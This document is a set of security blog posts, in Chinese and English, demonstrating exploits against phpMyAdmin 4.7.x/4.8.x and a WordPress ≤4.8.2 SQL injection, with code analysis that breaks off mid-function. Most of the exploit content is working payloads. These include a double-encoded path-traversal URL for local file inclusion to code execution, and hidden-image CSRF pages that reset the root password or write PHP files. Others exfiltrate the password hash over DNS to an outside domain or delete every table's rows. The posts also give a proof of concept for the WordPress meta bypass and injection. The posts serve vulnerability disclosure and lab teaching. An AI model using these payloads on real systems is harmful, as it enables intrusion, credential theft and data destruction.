phpMyAdmin 4.8.x 本地文件包含漏洞利用

作者: @Ambulong

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell。该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用。

在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用。

VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/

漏洞细节

参照ChaMd5安全团队发布的文章:phpmyadmin4.8.1后台getshell

漏洞利用

因为原文中包含数据库文件可能由于文件权限或者帐号权限不足而无法利用,这里我们将使用另外一种方式来利用该文件包含漏洞,即包含session文件。

1. 进入VulnSpy 在线 phpMyAdmin 环境地址,点击 Start to Hack ,跳转到VSPlate

Login PMA

2. 等待载入设置后,点击 GO 按钮开启实验

Login PMA

3. 实验创建完成后,点击演示地址进入实验

Login PMA

4. 使用帐号 root ,密码 toor 登录 phpMyAdmin

Login PMA

5. 点击顶部导航栏中的SQL按钮,执行SQL查询

1
select '<?php phpinfo();exit;?>'
Login PMA

6. 获取自己的SESSION ID

你的 SESSION ID 为 Cookie 中的 phpMyAdmin 项。

Login PMA

这样对应的SESSION文件为/var/lib/php/sessions/sess_你的SESSION ID

7. 包含SESSION文件,成功利用该漏洞

1
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
Login PMA

phpMyAdmin 4.8.x LFI to RCE (Authorization Required)

Author: @Ambulong

Security Team ChaMd5 disclose a Local File Inclusion vulnerability in phpMyAdmin latest version 4.8.1. And the exploiting of this vulnerability may lead to Remote Code Execution.

In this article, we will use VulnSpy’s online phpMyAdmin environment to demonstrate the exploit of this vulnerability.

VulnSpy’s online phpMyAdmin environment address: http://www.vulnspy.com/phpmyadmin-4.8.1/

Vulnerability Details

1.Line 54-63 in file /index.php:

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

2.Core::checkPageValidity in /libraries/classes/Core.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}

2018-06-25 Update:

Core::checkPageValidity can be bypassed by using by double encoding like %253f.

Core::checkPageValidity can be bypassed by using db_sql.php?.

Thanks for OJ Reeves‘s report, we don’t need to encode ?. Sorry for that mistake.

Exploit

An attacker can use this vulnerability to include session file to lauching a Remote Code Execution vulnerability.

1.Use username root, password toor log into phpmyadmin.

Login PMA

2.Run SQL query

1
select '<?php phpinfo();exit;?>'
Login PMA

3.Get your Session ID

Session ID is the item phpMyAdmin in your cookie.

Login PMA

4.Include the session file

1
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
Login PMA

phpMyAdmin 4.7.x XSRF/CSRF Vulnerability (PMASA-2017-9) Exploit

Author: @Ambulong

1 phpMyAmin 4.7.x XSRF/CSRF Vulnerability (PMASA-2017-9)

phpMyAdmin is a well-known MySQL/MariaDB online management tool, phpMyAdmin team released the version 4.7.7 that addresses the CSRF vulnerability found by Barot. (PMASA-2017-9). The vulnerability allows an attacker to execute an arbitrary SQL statement silently by inducing an administrator to access malicious pages.

In this article, we will use VulnSpy’s online phpMyAdmin environment to demonstrate the exploit of this vulnerability.

VulnSpy’s online phpMyAdmin environment address: https://www.vulnspy.com/?u=pmasa-2017-9

2 Exploit CSRF - Modifying the password of current user

Change the current user password to www.vulnspy.com, SQL command:

1
SET passsword=PASSWORD('www.vulnspy.com');

Exploit Demonstration

2.1 Log in to phpMyAdmin

Username: root Password: toor

phpMyAdmin

2.2 Create a page with malicious code.

Filename: 2.payload.html

1
2
3
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

2.3 Open the file 2.payload.html in browser

2.payload.html

Go back to phpMyAdmin, you’ll find that the account has been loged out automatically, and the password of root have been changed.

2.payload.html 2

2.4 Login successfully with the password www.vulnspy.com

Password Changed

3 Exploit CSRF - Arbitrary File Write

Write the code <?php phpinfo();?> to the file /var/www/html/test.php, SQL command:

1
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

Exploit Demonstration

3.1 Payload

1
2
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

3.2 Open the file contain the payload in browser

3.3 Visit test.php

phpinfo()

4 Exploit CSRF - Data Retrieval over DNS

Steal the password hash of root, SQL command:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));

Fetch the current database name:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));

VSPlate not supports this exploit

5 Exploit CSRF - Empty All Rows From All Tables

Empty all rows from all tables, SQL command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
CREATE PROCEDURE EMPT()
BEGIN
DECLARE i INT;
SET i = 0;
WHILE i < 100 DO
SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();

Exploit Demonstration

5.1 Payload

1
2
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />

5.2 Open the file contain the payload in browser

5.3 Go back to phpMyAdmin

You’ll find the data in database vulnspy_tables and vulnspy_test have been deleted.

Empty DBS

phpMyAdmin 4.7.x CSRF 漏洞利用

作者: Ambulong

phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

该篇文章我们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。

在线 phpMyAdmin CSRF 演练地址:https://www.vulnspy.com/?u=pmasa-2017-9

注:重启演示靶机即可重置靶机

1 在线创建 phpMyAdmin 环境

点击 VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)

VulnSpy

跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境

VSPlate GO VSPlate Labs

打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。

VSPlate Demo

使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。

VSPlate Demo 2

2 CSRF 漏洞利用 - 修改当前数据库用户密码

我们知道,如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此本文我们将介绍几种较为通用的利用方式。

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为www.vulnspy.com,对应的SQL语句为:

1
SET passsword=PASSWORD('www.vulnspy.com');

利用演示

2.1 模拟管理员登录phpMyAdmin的状态。

用帐号 root 密码 toor 登录 phpMyAdmin 。

phpMyAdmin

2.2 创建含有恶意代码的页面。

文件名 2.payload.html (将下面的域名换成自己的靶机域名)

1
2
3
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

2.3 用浏览器打开含有恶意代码的文件 2.payload.html

2.payload.html

回到上一步打开的phpMyAdmin页面,发现已自动退出,而且用原来的密码 toor 已经无法登录。

2.payload.html 2

2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功

Password Changed

3 CSRF 漏洞利用 - 写文件

MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入PHP文件。比如将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

1
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

利用演示

3.1 将上一个演示步骤相同,只需将2.2中的文件代码改成:

1
2
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

3.2 用浏览器打开含有恶意代码的文件

3.3 访问 test.php

phpinfo()

可见文件已经写入成功。

4 CSRF 漏洞利用 - 获取数据

MySQL提供了load_file()函数来支持读取文件内容的操作。比如读取文件/etc/passwd内容,,对应的SQL语句为:

1
select load_file('/etc/passwd');

但是对于CSRF漏洞来说,该读取操作实在目标用户端执行的,我们依然无法知道文件读取的结果。而load_file()在Windows下支持从网络共享文件夹中读取文件,如\\192.168.1.100\share\vulnspy.txt。网络共享文件的地址处不仅可以填写IP还可以填写域名,我们可以通过DNS解析来获取查询的数据。

此处需要用到 DNSLOG 之类的工具:https://github.com/BugScanTeam/DNSLog, 这类工具可以记录域名的 DNS 解析记录

比如通过DNS解析来获取当前 MySQL root 用户密码,对应的SQL语句为:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));

获取当前数据库名:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));

如果请求成功,查询结果将作为二级域名的一部分出现在我们的 DNS 解析记录当中。

该环境暂无法演示

5 CSRF 漏洞利用 - 清空所有数据表

如果上面几种利用方式都无法直接造成直接的影响,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。

我们用命令

1
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

来获取数据名和表名,并将其拼接成删除语句(如:DELETE FROM vulnspy_tables.inv),通过 execute 来执行生成的删除语句:

1
2
3
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;

但是 execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
CREATE PROCEDURE EMPT()
BEGIN
DECLARE i INT;
SET i = 0;
WHILE i < 100 DO
SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();

利用演示

5.1 Payload如下

1
2
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />

5.2 用浏览器打开含有恶意代码的文件

5.3 回到 phpMyAdmin 中查看数据

可以发现数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。

Empty DBS

6 总结

这个 phpMyAdmin 的 CSRF 漏洞利用有点类似 SQL 盲注的利用,但是对于漏洞触发的时间不可控(即不知道管理员何时会访问含有恶意代码的页面),因此需要更加通用的利用方式。通过该实验,不仅了解该漏洞的内容,还可以更加熟悉CSRF漏洞的利用。

Wordpress <= 4.8.2 SQL Injection POC

Author: Ambulong

I found this vulnerability after reading slavco’s post, and reported it to Wordpress Team via Hackerone on Sep. 2nd, 2017. But, unfortunately, WordPress team didn’t pay attention to this report too.

# SQL Injection Details

# POC Details

If you already found out the potential sqli in wordpress, you would know that we need to insert our playload into _thumbnail_id meta in order to launch the sqli attack.

## Wordpress ≤ 4.7.4 Lack of capability checks for post meta data in the XML-RPC API

This vulnerability have mentioned in slavco’s post: Wordpress SQLi

Reference: WordPress 4.7.5 Security and Maintenance Release

POC

1
2
3
4
5
6
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);

## Wordpress ≤ 4.8.2 POST Meta Protection Bypass

A trick of Mysql

1). A normal query for _thumbnail_id

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). Change the meta_value of _thumbnail_id to “\x00_thumbnail_id”

1
2
3
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

3). Query by _thumbnail_id again

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

POST Meta Protection Bypass

This is the is_protected_meta(./wp-includes/meta.php) method used to check the validation of post meta:

1
2
3
4
5
6
7
8
9
10
11
12
13
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

The code just checks the first character of $meta_key, from the mysql trick, we can use %00_ to bypass it.

POC

  1. Add New Custom Field, Name:_thumbnail_id Value:55 %1$%s or sleep(10)#
  2. Click Add Custom Field button.
  3. Modify the HTTP request, _thumbnail_id => %00_thumbnail_id
  4. Launch the attack. Visit /wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.

Time-line:

  • Sep. 2th - I report the vulnerability to WP Team via Hackerone.
  • Sep. 6th - WP Team ask for details.
  • Sep. 6th - I post the details.
  • Sep. 6th to now - I haven’t received any response yet…

Wordpress POST META_NAME校验绕过

作者:Ambulong

Wordpress中的POST META为文章自定义栏目/字段,就如一篇文章中会有标题作者等字段,但是对于有些主题/插件来说,文章中的自有字段显得不够用,就需要用到自定义栏目/字段

(该操作的位置在添加/编辑文章,在文本编辑框下方的自定义栏目,如果没有找到自定义栏目,需要在右上角的显示选项内将自定义栏目勾选。)

自定义栏目/字段的数据以meta_key(字段/栏目名)->meta_value(值)的形式存放在wp_postmeta表内。以下划线开头的meta_key(字段/栏目名)被认为是保留字段,不允许用户添加。

本文将介绍如何绕过Wordpress的meta_key检查,添加字段/栏目名以下划线开头的自定义栏目/字段

第一章 Wordpress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞

参考内容:WordPress 4.7.5 Security and Maintenance Release

1.1 POC

1
2
3
4
5
6
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);

POC来自 Wordpress SQLi — PoC by slavco

1.2 漏洞分析

补丁位置:wp-includes/class-wp-xmlrpc-server.php

漏洞分析

根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input

1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function _insert_post( $user, $content_struct ) {
$defaults = array(
...//ignore
'custom_fields' => null,
'terms_names' => null,
'terms' => null,
'sticky' => null,
'enclosure' => null,
'ID' => null,
);
$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
...//ignore
if ( isset( $post_data['custom_fields'] ) )
$this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
...//ignore
$post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
if ( is_wp_error( $post_ID ) )
return new IXR_Error( 500, $post_ID->get_error_message() );
if ( ! $post_ID )
return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) );
return strval( $post_ID );
}

按正常的业务流程,POST META应当是从custom_fields中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key进行检查,不应当存在问题。

但是在wp_update_post函数与wp_insert_post函数中,会从$post_data[‘meta_input’]中取出数据,不经检查直接添加到自定义栏目/字段中。

2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function wp_insert_post( $postarr, $wp_error = false ) {
...//ignore
$postarr = wp_parse_args($postarr, $defaults);
unset( $postarr[ 'filter' ] );
$postarr = sanitize_post($postarr, 'db');
...//ignore
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
}
...//ignore
}

第二章 Wordpress ≤ 4.8.2 POST META 校验绕过漏洞

该章节更新时间:2017年11月09日

吐槽:该缺陷于9月初报告给WP Team,然而2个多月过去了仍然只有9月5号的一条回复。:(

Wordpress目前最新版为4.8.3,建议大家更新。

2.1 一个MySQL的trick

1). 正常的条件查询语句

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”

1
2
3
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0

3). 再次执行第一步的查询

1
2
3
4
5
6
7
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

我们可以发现依然可以查询出修改后的数据。

2.2 POST META 校验绕过

我们来看下检查meta_key的代码,文件./wp-includes/meta.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

is_protected_meta函数只检查了$meta_key的第一个字符是否以_开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。

2.3 POC

在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id。

参考

Wordpress SQL注入分析(二)

作者:Ambulong

在上一篇文章 Wordpress SQL注入分析(一) 中,我们分析了Wordpress中的prepare函数在什么情况下会产生SQL注入漏洞。本篇文章将分析Wordpress中的一处SQL注入。

当前最新版:Wordpress 4.8.1

第三章:发现Wordpress中的SQL注入

3.1 SQL注入分析

在delete_metadata函数(文件:/wp-includes/meta.php)中存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id && ! $delete_all ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$type_column = sanitize_key($meta_type . '_id');
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$meta_key = wp_unslash($meta_key);
$meta_value = wp_unslash($meta_value);
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check )
return (bool) $check;
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( !$delete_all )
$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
=> $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
=> $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
...//ignore
}

我们来看下关键部分代码:

1
2
3
4
5
6
7
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
=> $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
=> $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}

按我们上一篇文章的分析,若$meta_value可控,此处就存在SQL注入漏洞。而$meta_value变量是作为参数从外部传进来的,所以我们需要查找调用到delete_metadata函数,且第四个参数可控的地方。

我们此处直接选用@slavco文章中的wp_delete_attachment函数(文件:/wp-includes/post.php),代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function wp_delete_attachment( $post_id, $force_delete = false ) {
global $wpdb;
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
if ( 'attachment' != $post->post_type )
return false;
if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status )
return wp_trash_post( $post_id );
delete_post_meta($post_id, '_wp_trash_meta_status');
delete_post_meta($post_id, '_wp_trash_meta_time');
$meta = wp_get_attachment_metadata( $post_id );
$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
$file = get_attached_file( $post_id );
if ( is_multisite() )
delete_transient( 'dirsize_cache' );
do_action( 'delete_attachment', $post_id );
wp_delete_object_term_relationships($post_id, array('category', 'post_tag'));
wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type));
// Delete all for any posts.
=> delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
...//ignore
}

关键代码:

1
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );

里面的$post_id同样从外部传入,所以我们继续查找调用到wp_delete_attachment函数,且第一个参数可控的地方。

在文件/wp-admin/edit.php中有个比较明显的调用点,且$post_id(即:wp_delete_attachment函数的第一个参数)可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 'delete':
$deleted = 0;
foreach ( (array) $post_ids as $post_id ) {
$post_del = get_post($post_id);
if ( !current_user_can( 'delete_post', $post_id ) )
wp_die( __('Sorry, you are not allowed to delete this item.') );
if ( $post_del->post_type == 'attachment' ) {
=> if ( ! wp_delete_attachment($post_id) )
wp_die( __('Error in deleting.') );
} else {
if ( !wp_delete_post($post_id) )
wp_die( __('Error in deleting.') );
}
$deleted++;
}
$sendback = add_query_arg('deleted', $deleted, $sendback);
break;

3.2 利用条件分析

我们首先简单地整理下相关文件/函数的调用过程与调用条件。

1. 文件:/wp-admin/edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...//ignore
$doaction = $wp_list_table->current_action();
if ( $doaction ) {
check_admin_referer('bulk-posts');
...//ignore
} elseif ( isset( $_REQUEST['media'] ) ) {
$post_ids = $_REQUEST['media'];
} elseif ( isset( $_REQUEST['ids'] ) ) {
$post_ids = explode( ',', $_REQUEST['ids'] );
} elseif ( !empty( $_REQUEST['post'] ) ) {
$post_ids = array_map('intval', $_REQUEST['post']);
}
if ( !isset( $post_ids ) ) {
wp_redirect( $sendback );
exit;
}
switch ( $doaction ) {
...//ignore
case 'delete':
$deleted = 0;
foreach ( (array) $post_ids as $post_id ) {
$post_del = get_post($post_id);
if ( !current_user_can( 'delete_post', $post_id ) )
wp_die( __('Sorry, you are not allowed to delete this item.') );
if ( $post_del->post_type == 'attachment' ) {
if ( ! wp_delete_attachment($post_id) )
wp_die( __('Error in deleting.') );
} else {
if ( !wp_delete_post($post_id) )
wp_die( __('Error in deleting.') );
}
$deleted++;
}
...//ignore

需满足条件:

  • $doaction = $wp_list_table->current_action() = ‘delete’
    即:$_REQUEST[‘action’] = ‘delete’
  • 通过check_admin_referer(‘bulk-posts’)
    检查$_REQUEST[‘_wpnonce’]
  • $post_ids = $_REQUEST[‘media’] = ‘%1$%s abc’
    传入测试注入字符串
  • current_user_can( ‘delete_post’, $post_id ) == true
    当前用户是否有删除该文章权限
  • $post_del->post_type == ‘attachment’
    该文章类型为attachment,可通过添加媒体功能添加

2. 文件:/wp-includes/post.php

1
2
3
4
5
6
7
8
9
10
11
12
...//ignore
function wp_delete_attachment( $post_id, $force_delete = false ) {
global $wpdb;
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
return $post;
if ( 'attachment' != $post->post_type )
return false;
if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status )
return wp_trash_post( $post_id );
...//ignore
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
...//ignore

